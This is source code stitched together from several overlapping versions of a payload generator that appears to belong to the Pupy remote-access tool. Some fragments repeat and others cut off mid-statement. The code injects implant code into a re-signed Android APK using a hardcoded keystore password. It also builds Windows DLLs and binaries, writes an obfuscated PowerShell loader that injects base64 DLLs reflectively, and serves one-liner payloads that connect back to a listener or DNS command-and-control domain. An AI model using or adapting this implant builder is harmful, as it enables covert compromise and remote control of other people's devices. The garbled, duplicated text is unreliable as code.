def get_edit_apk(display, path, conf, compressed_config=None, debug=False):
credentials = Credentials(role='control')
priv_key = credentials['APK_PRIV_KEY']
pub_key = credentials['APK_PUB_KEY']
if not priv_key or not pub_key:
raise ValueError(
'CONTROL_APK_PRIV_KEY/CONTROL_APK_PUB_KEY credentials missing (old credentials)'
)
tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
try:
packed_payload = pack_py_payload(display, get_raw_conf(display, conf),
debug, False)
shutil.copy(path, tempapk)
#extracting the python-for-android install tar from the apk
zf = zipfile.ZipFile(path, 'r')
zf.extract("assets/private.mp3", tempdir)
zf.close()
with open(os.path.join(tempdir, "pp.py"), 'w') as w:
w.write(packed_payload)
import py_compile
py_compile.compile(os.path.join(tempdir, "pp.py"),
os.path.join(tempdir, "pp.pyo"))
display(Success('Packaging the apk ... (can take 10-20 seconds)'))
#updating the tar with the new config
updateTar(os.path.join(tempdir, "assets/private.mp3"), "pp.pyo",
os.path.join(tempdir, "pp.pyo"))
#repacking the tar in the apk
with open(os.path.join(tempdir, "assets/private.mp3"), 'r') as t:
updateZip(tempapk, "assets/private.mp3", t.read())
# signing the tar
result = BytesIO()
jarsigner(priv_key, pub_key, tempapk, result)
return result.getvalue()
finally:
#cleaning up
shutil.rmtree(tempdir, ignore_errors=True)
os.unlink(tempapk)
def get_edit_apk(path, conf):
tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
try:
packed_payload = pack_py_payload(get_raw_conf(conf))
shutil.copy(path, tempapk)
#extracting the python-for-android install tar from the apk
zf = zipfile.ZipFile(path, 'r')
zf.extract("assets/private.mp3", tempdir)
zf.close()
with open(os.path.join(tempdir, "pp.py"), 'w') as w:
w.write(packed_payload)
import py_compile
py_compile.compile(os.path.join(tempdir, "pp.py"),
os.path.join(tempdir, "pp.pyo"))
print "[+] packaging the apk ... (can take 10-20 seconds)"
#updating the tar with the new config
updateTar(os.path.join(tempdir, "assets/private.mp3"),
"service/pp.pyo", os.path.join(tempdir, "pp.pyo"))
#repacking the tar in the apk
with open(os.path.join(tempdir, "assets/private.mp3"), 'r') as t:
updateZip(tempapk, "assets/private.mp3", t.read())
#signing the tar
try:
res = subprocess.check_output(
"jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"
% tempapk,
shell=True)
except OSError as e:
if e.errno == os.errno.ENOENT:
raise ValueError("Please install jarsigner first.")
raise e
# -tsa http://timestamp.digicert.com
print(res)
content = b''
with open(tempapk) as apk:
return apk.read()
finally:
#cleaning up
shutil.rmtree(tempdir, ignore_errors=True)
os.unlink(tempapk)
def get_edit_apk(path, conf):
tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
try:
packed_payload=pack_py_payload(get_raw_conf(conf))
shutil.copy(path, tempapk)
#extracting the python-for-android install tar from the apk
zf=zipfile.ZipFile(path,'r')
zf.extract("assets/private.mp3", tempdir)
zf.close()
with open(os.path.join(tempdir,"pp.py"),'w') as w:
w.write(packed_payload)
import py_compile
py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo"))
print "[+] packaging the apk ... (can take 10-20 seconds)"
#updating the tar with the new config
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo"))
#repacking the tar in the apk
with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t:
updateZip(tempapk, "assets/private.mp3", t.read())
#signing the tar
try:
res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%tempapk, shell=True)
except OSError as e:
if e.errno ==os.errno.ENOENT:
raise ValueError("Please install jarsigner first.")
raise e
# -tsa http://timestamp.digicert.com
print(res)
content = b''
with open(tempapk) as apk:
return apk.read()
finally:
#cleaning up
shutil.rmtree(tempdir, ignore_errors=True)
os.unlink(tempapk)
with open(outpath, 'wb') as w:
w.write(binary)
elif args.format=="dll_x86":
binary=get_edit_pupyx86_dll(conf)
if not outpath:
outpath="pupyx86.dll"
with open(outpath, 'wb') as w:
w.write(binary)
elif args.format=="apk":
if not outpath:
outpath="pupy.apk"
get_edit_apk(os.path.join("payload_templates","pupy.apk"), outpath, conf)
elif args.format=="py":
if not outpath:
outpath="payload.py"
packed_payload=pack_py_payload(get_raw_conf(conf))
with open(outpath, 'wb') as w:
w.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n"+packed_payload)
elif args.format=="py_oneliner":
packed_payload=pack_py_payload(get_raw_conf(conf))
serve_payload(packed_payload)
else:
exit("Type %s is invalid."%(args.format))
print(colorize("[+] ","green")+"payload successfully generated with config :")
print("OUTPUT_PATH = %s"%os.path.abspath(outpath))
print("LAUNCHER = %s"%repr(args.launcher))
print("LAUNCHER_ARGS = %s"%repr(args.launcher_args))
print("SCRIPTLETS = %s"%args.scriptlet)
def pupygen(args, config):
ok = colorize("[+] ","green")
if args.workdir:
os.chdir(args.workdir)
script_code=""
if args.scriptlet:
script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets)
l = launchers[args.launcher]()
while True:
try:
l.parse_args(args.launcher_args)
except LauncherError as e:
if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args:
myip = get_listener_ip(external=args.prefer_external, config=config)
if not myip:
raise ValueError("--host parameter missing and couldn't find your local IP. "
"You must precise an ip or a fqdn manually")
myport = get_listener_port(config, external=args.prefer_external)
print(colorize("[!] required argument missing, automatically adding parameter "
"--host {}:{} from local or external ip address".format(myip, myport),"grey"))
args.launcher_args = [
'--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport')
]
elif str(e).strip().endswith('--domain is required') and not '--domain' in args.launcher_args:
domain = config.get('pupyd', 'dnscnc').split(':')[0]
if not domain or '.' not in domain:
print(colorize('[!] DNSCNC disabled!', 'red'))
return
print(colorize("[!] required argument missing, automatically adding parameter "
"--domain {} from configuration file".format(domain),"grey"))
args.launcher_args = [
'--domain', domain
]
else:
l.arg_parser.print_usage()
return
else:
break
if args.randomize_hash:
script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40))
conf={}
conf['launcher']=args.launcher
conf['launcher_args']=args.launcher_args
conf['offline_script']=script_code
conf['debug']=args.debug
outpath=args.output
if args.format=="client":
print ok+"Generate client: {}/{}".format(args.os, args.arch)
data, filename, makex = generate_binary_from_template(
conf, args.os,
arch=args.arch, shared=args.shared, debug=args.debug
)
if not outpath:
template, ext = filename.rsplit('.', 1)
outfile = tempfile.NamedTemporaryFile(
dir=args.output_dir or '.',
prefix=template+'.',
suffix='.'+ext,
delete=False
)
else:
try:
os.unlink(outpath)
except:
pass
outfile = open(outpath, 'w+b')
outfile.write(data)
outfile.close()
if makex:
os.chmod(outfile.name, 0511)
outpath = outfile.name
elif args.format=="py" or args.format=="pyinst":
linux_modules = ""
if not outpath:
outfile = tempfile.NamedTemporaryFile(
dir=args.output_dir or '.',
prefix='pupy_',
suffix='.py',
delete=False
)
else:
try:
os.unlink(outpath)
except:
pass
outfile = open(outpath, 'w+b')
if args.format=="pyinst" :
linux_modules = getLinuxImportedModules()
packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True))
outfile.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n"+linux_modules+"\n"+packed_payload)
outfile.close()
outpath = outfile.name
elif args.format=="py_oneliner":
packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True))
i=conf["launcher_args"].index("--host")+1
link_ip=conf["launcher_args"][i].split(":",1)[0]
serve_payload(packed_payload, link_ip=link_ip, port=args.oneliner_listen_port)
elif args.format=="ps1":
SPLIT_SIZE = 100000
x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
if not outpath:
outfile = tempfile.NamedTemporaryFile(
dir=args.output_dir or '.',
prefix='pupy_',
suffix='.ps1',
delete=False
)
else:
try:
os.unlink(outpath)
except:
pass
outfile = open(outpath, 'w+b')
outpath = outfile.name
code = """
$PEBytes = ""
if ([IntPtr]::size -eq 4){{
{0}
$PEBytesTotal = [System.Convert]::FromBase64String({1})
}}
else{{
{2}
$PEBytesTotal = [System.Convert]::FromBase64String({3})
}}
Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
"""#{1}=x86dll, {3}=x64dll
binaryX64 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x64', shared=True)[0])
binaryX86 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x86', shared=True)[0])
binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)]
binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
for i,aPart in enumerate(binaryX86parts):
x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
x86ConcatCode += "$PEBytes{0}+".format(i)
print(ok+"X86 dll loaded and {0} variables used".format(i+1))
for i,aPart in enumerate(binaryX64parts):
x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
x64ConcatCode += "$PEBytes{0}+".format(i)
print(ok+"X64 dll loaded and {0} variables used".format(i+1))
script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
outfile.write("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1]) ))
outfile.close()
elif args.format=="ps1_oneliner":
from pupylib.payloads.ps1_oneliner import serve_ps1_payload
link_ip=conf["launcher_args"][conf["launcher_args"].index("--host")+1].split(":",1)[0]
if args.no_use_proxy == True:
serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=False)
else:
serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=True)
elif args.format=="rubber_ducky":
rubber_ducky(conf).generateAllForOStarget()
else:
raise ValueError("Type %s is invalid."%(args.format))
print(ok+"OUTPUT_PATH = %s"%os.path.abspath(outpath))
print(ok+"SCRIPTLETS = %s"%args.scriptlet)
print(ok+"DEBUG = %s"%args.debug)
return os.path.abspath(outpath)
w.write(binary)
elif args.format == "dll_x86":
binary = get_edit_pupyx86_dll(conf)
if not outpath:
outpath = "pupyx86.dll"
with open(outpath, 'wb') as w:
w.write(binary)
elif args.format == "apk":
if not outpath:
outpath = "pupy.apk"
get_edit_apk(os.path.join("payload_templates", "pupy.apk"), outpath,
conf)
elif args.format == "py":
if not outpath:
outpath = "pupy_packed.py"
packed_payload = pack_py_payload(get_raw_conf(conf))
with open(outpath, 'wb') as w:
w.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n" +
packed_payload)
elif args.format == "py_oneliner":
packed_payload = pack_py_payload(get_raw_conf(conf))
serve_payload(packed_payload)
else:
exit("Type %s is invalid." % (args.format))
print(
colorize("[+] ", "green") +
"payload successfully generated with config :")
print("OUTPUT_PATH = %s" % os.path.abspath(outpath))
print("LAUNCHER = %s" % repr(args.launcher))
print("LAUNCHER_ARGS = %s" % repr(args.launcher_args))
print("SCRIPTLETS = %s" % args.scriptlet)
def pupygen(args, config):
ok = colorize("[+] ", "green")
if args.workdir:
os.chdir(args.workdir)
script_code = ""
if args.scriptlet:
script_code = parse_scriptlets(args.scriptlet,
debug=args.debug_scriptlets)
l = launchers[args.launcher]()
while True:
try:
l.parse_args(args.launcher_args)
except LauncherError as e:
if str(e).strip().endswith(
"--host is required"
) and not "--host" in args.launcher_args:
myip = get_listener_ip(external=args.prefer_external,
config=config)
if not myip:
raise ValueError(
"--host parameter missing and couldn't find your local IP. "
"You must precise an ip or a fqdn manually")
myport = get_listener_port(config,
external=args.prefer_external)
print(
colorize(
"[!] required argument missing, automatically adding parameter "
"--host {}:{} from local or external ip address".
format(myip, myport), "grey"))
args.launcher_args = [
'--host', '{}:{}'.format(myip, myport), '-t',
config.get('pupyd', 'transport')
]
elif str(e).strip().endswith(
'--domain is required'
) and not '--domain' in args.launcher_args:
domain = config.get('pupyd', 'dnscnc').split(':')[0]
if not domain or '.' not in domain:
print(colorize('[!] DNSCNC disabled!', 'red'))
return
print(
colorize(
"[!] required argument missing, automatically adding parameter "
"--domain {} from configuration file".format(domain),
"grey"))
args.launcher_args = ['--domain', domain]
else:
l.arg_parser.print_usage()
return
else:
break
if args.randomize_hash:
script_code += "\n#%s\n" % ''.join(
random.choice(string.ascii_uppercase + string.digits +
string.ascii_lowercase) for _ in range(40))
conf = {}
conf['launcher'] = args.launcher
conf['launcher_args'] = args.launcher_args
conf['offline_script'] = script_code
conf['debug'] = args.debug
outpath = args.output
if args.format == "client":
print ok + "Generate client: {}/{}".format(args.os, args.arch)
data, filename, makex = generate_binary_from_template(
conf,
args.os,
arch=args.arch,
shared=args.shared,
debug=args.debug)
if not outpath:
template, ext = filename.rsplit('.', 1)
outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.',
prefix=template + '.',
suffix='.' + ext,
delete=False)
else:
outfile = open(outpath, 'w+b')
outfile.write(data)
outfile.close()
if makex:
os.chmod(outfile.name, 0511)
outpath = outfile.name
elif args.format == "py" or args.format == "pyinst":
linux_modules = ""
if not outpath:
outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.',
prefix='pupy',
suffix='.py',
delete=False)
else:
outfile = open(outpath, 'w+b')
if args.format == "pyinst":
linux_modules = getLinuxImportedModules()
packed_payload = pack_py_payload(get_raw_conf(conf))
outfile.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n" +
linux_modules + "\n" + packed_payload)
outfile.close()
outpath = outfile.name
elif args.format == "py_oneliner":
packed_payload = pack_py_payload(get_raw_conf(conf))
i = conf["launcher_args"].index("--host") + 1
link_ip = conf["launcher_args"][i].split(":", 1)[0]
serve_payload(packed_payload,
link_ip=link_ip,
port=args.oneliner_listen_port)
elif args.format == "ps1":
SPLIT_SIZE = 100000
x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
if not outpath:
outfile = tempfile.NamedTemporaryFile(dir=args.output_dir or '.',
prefix='pupy',
suffix='.ps1',
delete=False)
else:
outfile = open(outpath, 'w+b')
outpath = outfile.name
code = """
$PEBytes = ""
if ([IntPtr]::size -eq 4){{
{0}
$PEBytesTotal = [System.Convert]::FromBase64String({1})
}}
else{{
{2}
$PEBytesTotal = [System.Convert]::FromBase64String({3})
}}
Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
"""#{1}=x86dll, {3}=x64dll
binaryX64 = base64.b64encode(
generate_binary_from_template(conf,
'windows',
arch='x64',
shared=True)[0])
binaryX86 = base64.b64encode(
generate_binary_from_template(conf,
'windows',
arch='x86',
shared=True)[0])
binaryX64parts = [
binaryX64[i:i + SPLIT_SIZE]
for i in range(0, len(binaryX64), SPLIT_SIZE)
]
binaryX86parts = [
binaryX86[i:i + SPLIT_SIZE]
for i in range(0, len(binaryX86), SPLIT_SIZE)
]
for i, aPart in enumerate(binaryX86parts):
x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
x86ConcatCode += "$PEBytes{0}+".format(i)
print(ok + "X86 dll loaded and {0} variables used".format(i + 1))
for i, aPart in enumerate(binaryX64parts):
x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i, aPart)
x64ConcatCode += "$PEBytes{0}+".format(i)
print(ok + "X64 dll loaded and {0} variables used".format(i + 1))
script = obfuscatePowershellScript(
open(
os.path.join(ROOT, "external", "PowerSploit", "CodeExecution",
"Invoke-ReflectivePEInjection.ps1"), 'r').read())
outfile.write("{0}\n{1}".format(
script,
code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode,
x64ConcatCode[:-1])))
outfile.close()
elif args.format == "ps1_oneliner":
from pupylib.payloads.ps1_oneliner import serve_ps1_payload
link_ip = conf["launcher_args"][conf["launcher_args"].index("--host") +
1].split(":", 1)[0]
if args.no_use_proxy == True:
serve_ps1_payload(conf,
link_ip=link_ip,
port=args.oneliner_listen_port,
useTargetProxy=False)
else:
serve_ps1_payload(conf,
link_ip=link_ip,
port=args.oneliner_listen_port,
useTargetProxy=True)
elif args.format == "rubber_ducky":
rubber_ducky(conf).generateAllForOStarget()
else:
raise ValueError("Type %s is invalid." % (args.format))
print(ok + "OUTPUT_PATH = %s" % os.path.abspath(outpath))
print(ok + "SCRIPTLETS = %s" % args.scriptlet)
print(ok + "DEBUG = %s" % args.debug)
return os.path.abspath(outpath)
def pupygen(args, config):
ok = colorize("[+] ","green")
if args.workdir:
os.chdir(args.workdir)
script_code=""
if args.scriptlet:
script_code=parse_scriptlets(
args.scriptlet,
os=args.os,
arch=args.arch,
debug=args.debug_scriptlets
)
launcher = launchers[args.launcher]()
while True:
try:
launcher.parse_args(args.launcher_args)
except LauncherError as e:
if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args:
myip = get_listener_ip(external=args.prefer_external, config=config)
if not myip:
raise ValueError("--host parameter missing and couldn't find your local IP. "
"You must precise an ip or a fqdn manually")
myport = get_listener_port(config, external=args.prefer_external)
print(colorize("[!] required argument missing, automatically adding parameter "
"--host {}:{} from local or external ip address".format(myip, myport),"grey"))
if "-t" in args.launcher_args or "--transport" in args.launcher_args:
args.launcher_args += ['--host', '{}:{}'.format(myip, myport)]
else:
args.launcher_args += [
'--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport')
]
elif str(e).strip().endswith('--domain is required') and not '--domain' in args.launcher_args:
domain = config.get('pupyd', 'dnscnc').split(':')[0]
if not domain or '.' not in domain:
print(colorize('[!] DNSCNC disabled!', 'red'))
return
print(colorize("[!] required argument missing, automatically adding parameter "
"--domain {} from configuration file".format(domain),"grey"))
args.launcher_args = [
'--domain', domain
]
else:
launcher.arg_parser.print_usage()
return
else:
break
if args.randomize_hash:
script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40))
conf = {
'launcher': args.launcher,
'launcher_args': args.launcher_args,
'offline_script': script_code,
'debug': args.debug,
'cid': hex(random.SystemRandom().getrandbits(32))
}
outpath=args.output
if not os.path.isdir(args.output_dir):
print ok+"Creating the local folder '{0}' for generating payloads".format(args.output_dir)
os.makedirs(args.output_dir)
if args.format=="client":
print ok+"Generate client: {}/{}".format(args.os, args.arch)
data, filename, makex = generate_binary_from_template(
conf, args.os,
arch=args.arch, shared=args.shared, debug=args.debug,
compressed=not ( args.uncompressed or args.packer )
)
if not outpath:
template, ext = filename.rsplit('.', 1)
outfile = tempfile.NamedTemporaryFile(
dir=args.output_dir or '.',
prefix=template+'.',
suffix='.'+ext,
delete=False
)
else:
try:
os.unlink(outpath)
except:
pass
outfile = open(outpath, 'w+b')
outfile.write(data)
outfile.close()
if makex:
os.chmod(outfile.name, 0711)
if args.packer:
packingFinalCmd = args.packer.replace('%s', outfile.name)
print ok+"Packing payload with this command: {0}".format(packingFinalCmd)
subprocess.check_call(
packingFinalCmd,
shell=True
)
outpath = outfile.name
elif args.format=="py" or args.format=="pyinst":
linux_modules = ''
if not outpath:
outfile = tempfile.NamedTemporaryFile(
dir=args.output_dir or '.',
prefix='pupy_',
suffix='.py',
delete=False
)
else:
try:
os.unlink(outpath)
except:
pass
outfile = open(outpath, 'w+b')
if args.format=="pyinst" :
linux_modules = getLinuxImportedModules()
packed_payload = pack_py_payload(get_raw_conf(conf, verbose=True), args.debug)
outfile.write('\n'.join([
'#!/usr/bin/env python',
'# -*- coding: utf-8 -*-',
linux_modules,
packed_payload
]))
outfile.close()
outpath = outfile.name
elif args.format=="py_oneliner":
packed_payload = pack_py_payload(get_raw_conf(conf, verbose=True), args.debug)
i=conf["launcher_args"].index("--host")+1
link_ip=conf["launcher_args"][i].split(":",1)[0]
serve_payload(packed_payload, link_ip=link_ip, port=args.oneliner_listen_port)
elif args.format=="ps1":
outpath = generate_ps1(conf, outpath=outpath, output_dir=args.output_dir, both=True)
elif args.format=="ps1_oneliner":
if conf['launcher'] in ["connect", "auto_proxy"]:
from pupylib.payloads.ps1_oneliner import serve_ps1_payload
link_ip=conf["launcher_args"][conf["launcher_args"].index("--host")+1].split(":",1)[0]
if args.oneliner_no_ssl == False:
sslEnabled = True
else:
sslEnabled = False
if args.no_use_proxy == False:
useTargetProxy = True
else:
useTargetProxy = False
serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=useTargetProxy, sslEnabled=sslEnabled, nothidden=args.oneliner_nothidden)
elif conf['launcher'] == "bind":
from pupylib.payloads.ps1_oneliner import send_ps1_payload
outpath, target_ip, bind_port = "", None, None
bind_port=conf["launcher_args"][conf["launcher_args"].index("--port")+1]
if "--oneliner-host" in conf["launcher_args"]:
target_ip=conf["launcher_args"][conf["launcher_args"].index("--oneliner-host")+1]
send_ps1_payload(conf, bind_port=bind_port, target_ip=target_ip, nothidden=args.oneliner_nothidden)
else:
raise ValueError("You have to give me the --oneliner-host argument")
else:
raise ValueError("ps1_oneliner with {0} mode is not implemented yet".format(conf['launcher']))
elif args.format=="rubber_ducky":
rubber_ducky(conf).generateAllForOStarget()
else:
raise ValueError("Type %s is invalid."%(args.format))
print(ok+"OUTPUT_PATH = %s"%os.path.abspath(outpath))
print(ok+"SCRIPTLETS = %s"%args.scriptlet)
print(ok+"DEBUG = %s"%args.debug)
return os.path.abspath(outpath)
dir=args.output_dir or '.',
prefix='pupy_',
suffix='.py',
delete=False
)
else:
try:
os.unlink(outpath)
except:
pass
outfile = open(outpath, 'w+b')
if args.format == 'pyinst':
linux_modules = getLinuxImportedModules()
packed_payload = pack_py_payload(display, get_raw_conf(display, conf, verbose=True), args.debug)
outfile.write('\n'.join([
'#!/usr/bin/env python',
'# -*- coding: utf-8 -*-',
linux_modules,
packed_payload
]))
outfile.close()
outpath = outfile.name
elif args.format == 'py_oneliner':
packed_payload = pack_py_payload(display, get_raw_conf(display, conf, verbose=True), args.debug)
i = conf["launcher_args"].index("--host")+1
link_ip = conf["launcher_args"][i].split(":",1)[0]
